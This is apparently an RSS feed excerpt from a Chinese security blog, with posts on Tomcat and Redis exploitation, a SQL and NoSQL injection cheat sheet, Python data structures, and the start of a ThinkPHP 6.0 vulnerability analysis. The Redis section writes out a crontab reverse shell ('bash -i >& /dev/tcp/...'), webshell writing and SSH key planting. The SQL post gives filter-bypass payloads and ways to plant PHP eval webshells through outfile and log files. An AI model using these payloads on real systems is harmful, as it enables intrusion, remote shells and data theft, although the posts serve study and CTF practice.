&amp;lt;user username=&quot;tomcat&quot; password=&quot;admin&quot; roles=&quot;manager-gui,admin-gui&quot;/&amp;gt;
&amp;lt;user username=&quot;both&quot; password=&quot;admin&quot; roles=&quot;tomcat,role1&quot;/&amp;gt;
&amp;lt;user username=&quot;role1&quot; password=&quot;admin&quot; roles=&quot;role1&quot;/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后访问到 &lt;code&gt;http://127.0.0.1:8080/manager&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;写一个shell.jsp，打包之后改名为war包上传即可getshell(也可以用msf生成一个war包)&lt;/p&gt;
&lt;h3&gt;tomcat目录遍历&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;web.xml&lt;/code&gt; 中如果 &lt;code&gt;listings&lt;/code&gt; 参数为true，导致目录遍历漏洞&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584495111390.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;redis常见漏洞&lt;/h2&gt;
&lt;p&gt;给你一个未授权访问redis，你能做啥？&lt;/p&gt;
&lt;h3&gt;redis写shell&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;config set dir /var/www/html
config set dbfilename redis.php
set webshell &quot;&amp;lt;?php phpinfo(); ?&amp;gt;&quot;
save
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;写crontab反弹shell&lt;/h3&gt;
&lt;p&gt;在redis以root权限运行时可以写crontab来执行命令反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379&amp;gt; set x &quot;\n* * * * * bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.63.128/7999 0&amp;gt;&amp;amp;1\n&quot;
OK
192.168.63.130:6379&amp;gt; config set dir /var/spool/cron/
OK
192.168.63.130:6379&amp;gt; config set dbfilename root
OK
192.168.63.130:6379&amp;gt; save
OK
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;写ssh-keygen公钥&lt;/h3&gt;
&lt;p&gt;在以下条件下，可以利用此方法&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Redis服务使用ROOT账号启动&lt;/li&gt;
&lt;li&gt;服务器开放了SSH服务，而且允许使用密钥登录，即可远程写入一个公钥，直接登录远程服务器。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;ssh-keygen -t rsa&lt;/code&gt; 生成一对公私钥&lt;/p&gt;
&lt;p&gt;然后redis执行命令，注意写入的公钥必须要前后分别加个换行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;192.168.63.130:6379&amp;gt; config set dir /root/.ssh/
OK
192.168.63.130:6379&amp;gt; config set dbfilename authorized_keys
OK
192.168.63.130:6379&amp;gt; set x &quot;\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n&quot;
OK
192.168.63.130:6379&amp;gt; save
OK
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;主从复制&lt;/h3&gt;
&lt;h2&gt;phpmyadmin常见漏洞&lt;/h2&gt;
&lt;h3&gt;本地文件包含&lt;/h3&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/256#toc-2&quot;&gt;https://xz.aliyun.com/t/256#toc-2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://paper.seebug.org/975/&quot;&gt;https://paper.seebug.org/975/&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>SQL注入总结</title><link>https://rayepeng.net/posts/sql%E6%B3%A8%E5%85%A5%E6%80%BB%E7%BB%93/</link><guid isPermaLink="true">https://rayepeng.net/posts/sql%E6%B3%A8%E5%85%A5%E6%80%BB%E7%BB%93/</guid><pubDate>Tue, 17 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;常用的绕过手段&lt;/h2&gt;
&lt;h3&gt;字符型过滤单引号&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;字符串转换函数绕过&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;char()
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;十六进制数绕过&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;过滤=&lt;/h3&gt;
&lt;p&gt;between, like, &amp;lt;, &amp;gt;，regexp 绕过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1 union select 1, table_name from information_schema.tables where table_name = &apos;users&apos;

select 1, table_name from information_schema.tables where table_name between &apos;u&apos; and &apos;v&apos;;

select 1, table_name from information_schema.tables where table_name like &apos;u%&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;注释符&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# %23
-- 后面要加空格
/**/ 只加前半个也行
;%00 Nullbyte
` Backtick
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;过滤逗号&lt;/h3&gt;
&lt;p&gt;在使用盲注的时候，需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用join(连接表的查询结果)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;union select 1,2     #等价于
union select * from (select 1)a join (select 2)b

mysql&amp;gt; SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e);
+---+---+---+---+---+
| 1 | 2 | 3 | 4 | 5 |
+---+---+---+---+---+
| 1 | 2 | 3 | 4 | 5 |
+---+---+---+---+---+
1 row in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用like&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select ascii(mid(user(),1,1))=80   #等价于
select user() like &apos;r%&apos;

mysql&amp;gt; select user() like &apos;r%&apos;;
+------------------+
| user() like &apos;r%&apos; |
+------------------+
|                1 |
+------------------+
1 row in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于 &lt;code&gt;limit&lt;/code&gt; 可以使用 offset绕过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&amp;lt;，&amp;gt;被过滤&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;greatest函数绕过&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;greatest(a,b)，返回a和b中较大的那个数&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;# 猜解user()第一个字符的ascii码是否小于等于150时
ascii(mid(user(),1,1)) &amp;lt;= 150
=greatest(ascii(mid(user(),1,1)), 150)=150;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;过滤and，or可以使用&amp;amp;&amp;amp;和||&lt;/h3&gt;
&lt;h3&gt;单引号逃逸&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;\&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 用户名为username
SQL&amp;gt; select * from db where name=&apos;username\&apos; and passwd=&apos; or 1=1#
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;注释符&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# %23
-- 后面要加空格
/**/ 只加前半个也行
;%00 Nullbyte
` Backtick
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;过滤select&lt;/h3&gt;
&lt;p&gt;利用数值计算盲注或时间盲注&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;|| ascii(mid(user(),1,1) ) = 97 %23
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;绕过 information 被过滤&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;MySQL 5.7之后的版本，在其自带的 mysql 库中，新增了&lt;code&gt;innodb_table_stats&lt;/code&gt; 和&lt;code&gt;innodb_index_stats&lt;/code&gt;这两张日志表。如果数据表的引擎是innodb ，则会在这两张表中记录表、键的信息 。&lt;br /&gt;
如果waf掉了&lt;code&gt;information&lt;/code&gt;我们可以利用这两个表注入数据库名和表名。&lt;/li&gt;
&lt;li&gt;参考 &lt;a href=&quot;https://www.anquanke.com/post/id/193512&quot;&gt;聊一聊bypass information_schema&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;MySQl5.7的新特性&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;sys.schema_auto_increment_columns 该视图的作用简单来说就是用来对表自增ID的监控。&lt;/li&gt;
&lt;li&gt;schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;盲注&lt;/h2&gt;
&lt;h3&gt;延时注入&lt;/h3&gt;
&lt;p&gt;数据库如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; select * from user;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | zz       | 25ed1bcb423b0b7200f485fc5ff71c8e |
+----+----------+----------------------------------+
1 row in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;测试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; select password from user where id=1 and  (select hex(substr(database(), 1,1)) &amp;gt; 20) and sleep(2);
Empty set (2.00 sec)

mysql&amp;gt; select password from user where id=1 and  (select hex(substr(database(), 1,1)) &amp;gt; 89) and sleep(2);
Empty set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们这么来理解多语句的and&lt;/p&gt;
&lt;p&gt;数据库会每次取出一行数据，然后做判断，首先 &lt;code&gt;id=1&lt;/code&gt; 成立，然后 判断&lt;code&gt;(select hex(substr(database(), 1,1)) &amp;gt; 20)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果这个成立，就会执行接下来的 &lt;code&gt;sleep(2)&lt;/code&gt; 如果不成立，那么直接over了。不会有延时&lt;/p&gt;
&lt;h3&gt;order by 注入&lt;/h3&gt;
&lt;p&gt;order by 后的数字可以作为一个注入点&lt;/p&gt;
&lt;p&gt;报错注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; select * from flag order by 1 and (updatexml(1,concat(0x7e,(select user())),0));
ERROR 1105 (HY000): XPATH syntax error: &apos;~root@localhost&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;时间盲注&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select * from flag order by 1 and if(1=1,sleep(3), NULL);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;limit 注入&lt;/h3&gt;
&lt;p&gt;在LIMIT后面可以跟两个函数，PROCEDURE 和 INTO，INTO除非有写入shell的权限，否则是无法利用的。&lt;/p&gt;
&lt;p&gt;报错注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; select * from users where id&amp;gt;1 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 
ERROR 1105 (HY000): XPATH syntax error: &apos;:5.5.53&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;时间注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select * from users where id&amp;gt;1 order by id limit 1,1 procedure analyse((select extractvalue (rand(),concat(0x3a,(IF(MID(version(),1,1) like 5,BENCHMARK(5000000,SHA1(1)),1))))),1);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;无列名注入&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://buuoj.cn/challenges#%5BSWPU2019%5DWeb1&quot;&gt;例题链接&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;过滤了空格和or，并且没办法绕过过滤or&lt;/p&gt;
&lt;p&gt;同时不知道列名&lt;/p&gt;
&lt;p&gt;payload: &lt;code&gt;1&apos;/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&apos;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这样在不知道列名的情况下，就可以给每一列取一个别名了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; select 1,2,3 union select * from user;
+---+-------+--------+
| 1 | 2     | 3      |
+---+-------+--------+
| 1 | 2     | 3      |
| 1 | admin | mysql  |
| 2 | hhh   | 123    |
| 3 | aaaaa | cccccc |
+---+-------+--------+
4 rows in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查询&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; select group_concat(b) from (select 1,2,3 as b union select * from user)a;
+--------------------+
| group_concat(b)    |
+--------------------+
| 3,mysql,123,cccccc |
+--------------------+
1 row in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查询两列数据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select concat(`2`,0x3a,`3`) from (select 1,2,3 union select * from users)a;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查询一行数据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select `2` from (select 1,2,3 union select * from users)a limit 1,1;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://www.jianshu.com/p/6eba3370cfab&quot;&gt;无列名注入参考&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用join进行无列名注入&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这样就能依次把列名都爆出来了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; select * from user;
+---------+-----------+-----------+
| user_id | user_name | user_pass |
+---------+-----------+-----------+
|       1 | admin     | mysql     |
|       2 | hhh       | 123       |
|       3 | aaaaa     | cccccc    |
+---------+-----------+-----------+
3 rows in set (0.00 sec)

mysql&amp;gt; select*from (select * from user as a join user b)c;
ERROR 1060 (42S21): Duplicate column name &apos;user_id&apos;
mysql&amp;gt; select*from (select * from user as a join user b using(user_id))c;
ERROR 1060 (42S21): Duplicate column name &apos;user_name&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nosql注入&lt;/h2&gt;
&lt;p&gt;以mongodb为例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;db.collection.find(query, projection)
//query 可选，使用查询操作符指定查询条件
//可选，使用投影操作符指定返回的键。查询时返回文档中所有键值， 只需省略该参数即可（默认省略）
举例：
//查找username为JrXnm的信息
db.user.find({&apos;username&apos;:&apos;JrXnm&apos;})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一种是按照语言的分类：php数组注入、js注入、mongo shell拼接注入。&lt;/p&gt;
&lt;p&gt;第二种是按照攻击机制分类：永真式、联合查询、Js注入、盲注等。&lt;/p&gt;
&lt;p&gt;PHP永真式注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$data = array(
    &apos;username&apos; =&amp;gt;  $_REQUEST[&apos;username&apos;],
    &apos;password&apos; =&amp;gt;  $_REQUEST[&apos;password&apos;]
); 
$cursor = $collection-&amp;gt;find($data);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是由于php松散结构的特性，如果我们_GET传入的是数组那么，会自动被解析成字典。比如我们输入&lt;code&gt;?username[$ne]=1&amp;amp;password[$ne]=1&lt;/code&gt;， 就会被解析成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &apos;username&apos;: {
        &apos;$ne&apos;: &apos;1&apos;
    },
    &apos;password&apos;: {
        &apos;$ne&apos;: &apos;1&apos;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样就能查询到所有用户信息&lt;/p&gt;
&lt;p&gt;Js注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$collection = $db-&amp;gt;users;
$query_body =&quot;
        function q() {
            var username = &apos;&quot;.$_REQUEST[&quot;username&quot;].&quot;&apos;;
            var password = &apos;&quot;.$_REQUEST[&quot;password&quot;].&quot;&apos;;if(username == &apos;secret_user&apos;&amp;amp;&amp;amp;password == &apos;secret_password&apos;) return true; else{ return false;}}
&quot;; 
$result = $collection-&amp;gt;find(array(&apos;$where&apos;=&amp;gt;$query_body));
$count = $result-&amp;gt;count();
if($count&amp;gt;0){
    echo $doc_succeed-&amp;gt;saveHTML();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;$where&lt;/code&gt;操作符表示执行其中的Js内容，返回True的话返回所有内容。&lt;/p&gt;
&lt;p&gt;我们可以看到我们可以注入使得Js代码提前返回True&lt;/p&gt;
&lt;p&gt;payload：&lt;code&gt;?username=qwer&amp;amp;password= 1&apos;;return true;var qwer=&apos;1&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;MySQL利用方式&lt;/h2&gt;
&lt;h3&gt;写shell&lt;/h3&gt;
&lt;h4&gt;联合查询写shell&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;UNION+ALL+SELECT+1,2,’&amp;lt;? phpinfo(); ?&amp;gt;’ into outfile ‘G:/2.txt’ %23
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;非联合查询写shell&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;http://127.0.0.1/sqli-labs-master/Less-2/?id=1 into outfile ‘G:/2.txt’ fields terminated by ‘&amp;lt;? phpinfo(); ?&amp;gt;’%23
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;使用日志写shell&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;set global general_log = on;
开启日志监测，一般是关闭的，如果一直开，文件会很大的。

set global general_log_file = ‘G:/2.txt’;
这里设置我们需要写入的路径就可以了。

select ‘&amp;lt;?php eval($_POST[‘shiyan’]);?&amp;gt;’;
查询一个一句话，这个时候log日志里就会记录这个。

set global general_log_file = ‘D:\xampp\mysql\data\LAPTOP-SO1V6ABB.log’;
结束后，再修改为原来的路径。

set global general_log = off;
关闭下日志记录。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;延时注入写shell&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;select sleep(2),&apos;&amp;lt;?php @eval($_POST[cmd]); ?&amp;gt;&apos; into outfile &apos;d:\\success.txt&apos;;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>python数据结构</title><link>https://rayepeng.net/posts/python%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/</link><guid isPermaLink="true">https://rayepeng.net/posts/python%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/</guid><pubDate>Tue, 17 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;补充一个小知识&lt;/p&gt;
&lt;p&gt;python 输入重定向为文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

sys.stdin = open(&quot;test.txt&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后就可以直接从文件读入，不需要手动输入了&lt;/p&gt;
&lt;h2&gt;链表&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;实现链表
输入
1 3 5 4 1 9 4 
将其存储为链表格式
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;链表数据结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class ListNode:
    def __init__(self, x=-1):
        self.val = x
        self.next = None
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;创建链表，返回头节点 (尾插法)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def creat_list(line:list) -&amp;gt; ListNode:
    root = ListNode()
    tail = root
    for i in line:
        temp = ListNode(i)
        tail.next = temp
        tail = tail.next  
    return root.next
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;遍历链表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def traverse_list(root:ListNode):
    &apos;&apos;&apos;
    遍历链表，没有头节点
    &apos;&apos;&apos;
    temp = root
    while temp:
        print(temp.val+&quot; &quot;,end=&quot;&quot;)
        temp = temp.next
    print()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;删除倒数第n个节点，一次遍历&lt;/h3&gt;
&lt;p&gt;用两个指针指向，第一个指针先走 &lt;code&gt;n+1&lt;/code&gt; 步，中间空出n个节点，然后删除即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def removeNthFromEnd(head:ListNode, n:int)-&amp;gt;ListNode:
    &apos;&apos;&apos;
    一次遍历算法
    &apos;&apos;&apos;
    new_head = ListNode(-1)
    new_head.next = head
    first = new_head
    second = new_head
    for i in range(n+1):
        first = first.next    
    while first != None:
        first = first.next
        second = second.next
    second.next = second.next.next
    return new_head.next
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;向右旋转链表&lt;/h3&gt;
&lt;p&gt;就是把单链表组成一个循环链表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def rotateRight(head:ListNode, k:int)-&amp;gt;ListNode:
    &apos;&apos;&apos;
    针对链表进行旋转
    &apos;&apos;&apos;
    if k == 0:
        return head
    if head == None:
        return head
    temp = head
    length = 0
    while temp.next != None:
        length += 1
        temp = temp.next
    length += 1
    temp.next = head
    temp = head
    for i in range((length - k%length -1)):
        temp = temp.next
    new_head = temp.next
    temp.next = None
    return new_head
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;图&lt;/h2&gt;
&lt;h3&gt;创建图&lt;/h3&gt;
&lt;p&gt;采用邻接表进行存储， &lt;code&gt;ArcNode&lt;/code&gt; 代表邻接点， &lt;code&gt;VNode&lt;/code&gt; 代表边节点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class ArcNode:
    def __init__(self,adjvex, weight):
        self.adjvex = adjvex
        self.weight = weight
        self.next = None
class VNode:
    def __init__(self):
        self.next = None
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入数据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;输入格式：
4 4
0 1 1 0
1 0 1 0
1 1 0 1
1 1 1 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;读入数据，创建邻接矩阵&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def create_table()-&amp;gt;list:
    m,n = [int(i) for i in input().split()] # 自动解包
    A = [0 for i in range(m)]
    for i in range(m):
        A[i] = [int(j) for j in input().split()]
    return A
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;邻接矩阵转换为邻接表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def create_Adj(A)-&amp;gt;list:
    &apos;&apos;&apos;
    邻接矩阵转换为邻接表
    &apos;&apos;&apos;
    G = [VNode() for i in range(len(A))]
    for i,vex in enumerate(A):
        # 第i个节点，及其所有的边
        for node,j in enumerate(vex):
            if j != 0:
                p = ArcNode(node, j)
                p.next = G[i].next
                G[i].next = p
    return G
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打印邻接表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def disp_adj(G):
    for index,i in enumerate(G):
        p = i.next
        print(index, end=&quot;&quot;)
        while p != None:
            print(&quot; {}-&amp;gt;&quot;.format(p.adjvex), end=&quot;&quot;)
            p = p.next
        print()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;深度优先搜索&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;visited = [0 for i in range(4)]
def DFS(G, v):
    &apos;&apos;&apos;
    深度优先搜索
    &apos;&apos;&apos;
    visited[v] = 1
    print(v, end=&quot;&quot;)
    p = G[v].next
    while p != None:
        w = p.adjvex
        if visited[w] == 0:
            DFS(G,w)
        p = p.next
    print()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;广度优先搜索&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def BFS(G, v):
    &apos;&apos;&apos;
    广度优先搜索
    &apos;&apos;&apos;
    q = Queue()
    visited = [0 for i in range(len(G))]
    print(v,end=&quot;&quot;)
    visited[v] = 1
    q.put(v)
    while not q.empty():
        w = q.get()
        p = G[w].next
        while p!=None:
            if visited[p.adjvex] == 0:
                print(p.adjvex, end=&quot;&quot;)
                visited[p.adjvex] = 1
                q.put(p.adjvex)
            p = p.next
    print()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Dijkstar 算法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def Dijkstra(A, v):
    &apos;&apos;&apos;
    Dijkstar 算法
    &apos;&apos;&apos;
    for i in A:
        for index,value in enumerate(i):
            if value == -1:
                i[index] = sys.maxsize
    
    dist = A[v] # 原始v到各个顶点的距离

    path = [0 for i in range(len(A))] 
    for i in range(len(A)):
        if A[v][i] != -1:
            path[i] = v
        else:
            path[i] = -1

    s = [0 for i in range(len(A))]
    s[v] = 1

    for i in range(len(A)):
        mindis = sys.maxsize
        # 寻找最小路径长度顶点u
        for j in range(len(A)):
            if s[j] == 0  and dist[j] &amp;lt; mindis:
                u = j
                mindis = dist[j]
        
        s[u] = 1
        for j in range(len(A)):
            if s[j] == 0:
                if A[u][j] &amp;lt; sys.maxsize and dist[j] &amp;gt; 0 and dist[u]+A[u][j] &amp;lt; dist[j]:
                    dist[j] = dist[u] + A[u][j]
                    path[j] = u
    return path, dist
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>thinkphp6.0漏洞分析</title><link>https://rayepeng.net/posts/thinkphp60%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link><guid isPermaLink="true">https://rayepeng.net/posts/thinkphp60%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid><pubDate>Tue, 17 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;通过session写文件&lt;/h2&gt;
&lt;p&gt;漏洞点位于：&lt;code&gt;/think/session/Store.php&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * session_id设置
 * @access public
 * @param string $id session_id
 * @return void
 */
public function setId($id = null): void
{
    $this-&amp;gt;id = is_string($id) &amp;amp;&amp;amp; strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;针对sessionid的校验不严&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584448906099.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后初始化session&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584448927094.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;保存session的过程： &lt;code&gt;think/session/Store.php&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * 保存session数据
 * @access public
 * @return void
 */
public function save(): void
{
    $this-&amp;gt;clearFlashData();

    $sessionId = $this-&amp;gt;getId();

    if (!empty($this-&amp;gt;data)) {
        $data = $this-&amp;gt;serialize($this-&amp;gt;data);

        $this-&amp;gt;handler-&amp;gt;write($sessionId, $data);
    } else {
        $this-&amp;gt;handler-&amp;gt;delete($sessionId);
    }

    $this-&amp;gt;init = false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入到 &lt;code&gt;write&lt;/code&gt; 函数写入&lt;/p&gt;
&lt;p&gt;最后存储到文件中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584449025846.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样，如果我能控制session的数组中的某个值，就能直接写入shell&lt;/p&gt;
&lt;p&gt;成功写入：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584449183704.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;6.0 POP链分析&lt;/h2&gt;
&lt;p&gt;入口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584451502585.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入 &lt;code&gt;save&lt;/code&gt; 函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584451535191.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续步入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584451560678.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入到 &lt;code&gt;cleanContents&lt;/code&gt; 函数，直接返回原值(没有过滤因为不是多维数组)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function cleanContents(array $contents)
{
    $cachedProperties = array_flip([
        &apos;path&apos;, &apos;dirname&apos;, &apos;basename&apos;, &apos;extension&apos;, &apos;filename&apos;,
        &apos;size&apos;, &apos;mimetype&apos;, &apos;visibility&apos;, &apos;timestamp&apos;, &apos;type&apos;,
    ]);

